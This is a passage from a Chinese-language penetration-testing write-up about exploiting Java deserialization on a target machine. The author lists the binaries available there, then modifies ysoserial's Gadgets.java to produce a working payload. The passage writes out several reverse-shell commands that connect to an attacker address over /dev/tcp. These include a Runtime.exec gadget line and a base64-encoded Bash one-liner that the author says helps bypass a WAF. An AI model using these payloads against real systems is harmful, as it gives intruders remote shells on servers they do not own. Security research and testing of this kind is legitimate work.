我们继续列举目标机器上的二进制文件。

[email protected]:/$ which php
[email protected]:/$ which python
[email protected]:/$ which python3
[email protected]:/$ which wget
[email protected]:/$ which curl
[email protected]:/$ which nc
[email protected]:/$ which perl
/usr/bin/perl
[email protected]:/$ which bash
/bin/bash
[email protected]:/$

只有Perl和Bash可用。让我们尝试制作一个有效载荷,向我们发送一个反向的shell。

我们在Pentest Monkeys上看到一些单线的反向Shell:

· Reverse Shell Cheat Sheet

· 如果你很幸运能够在渗透测试期间找到命令执行漏洞,那么很快就会…

并决定尝试下面的Bash反向shell:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

但是,正如你可能想到的那样,java.lang.Runtime.exec()有一些局限性。不支持重定向或管道等shell运算符。

我们决定选择另一个方法,使用Java编写的反向shell 。我们将修改Gadgets.java上的源代码来生成反向shell有效载荷。

下面的路径是我们需要修改的路径:

/root/ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java from line 116 to 118.

Pentest Monkeys上提到了下面的Java反向shell,但它仍然不起作用:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

在尝试了多次后,我们看到了下面的代码:

String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);

让我们再次重建ysoserial并测试生成的有效载荷。

1_ALm9MRM2F8yQzjJm_3zNWw.png

使用Bash反向shell生成武器化的有效载荷

而且..我们成功的弹回来一个反向Shell!

1_7Us7ZKFs2LH2dlnbo8mGCQ.png

真棒!

0_EBlAxyBE1QlWxsK-.jpg

有效载荷生成过程简述

在我们的研究过程中,我们发现了这个编码器( http://jackson.thuraisamy.me/runtime-exec-payloads.html),它可以帮助我们完成攻击。

使用下面的Bash反向shell:

bash -i >& /dev/tcp/[IP address]/[port] 0>&1

生成的有效载荷的结果如下:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}

这个编码器也可用于绕过WAF!🚀

参考

· https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/

· http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/

· https://github.com/frohoff/ysoserial

· https://github.com/federicodotta/Java-Deserialization-Scanner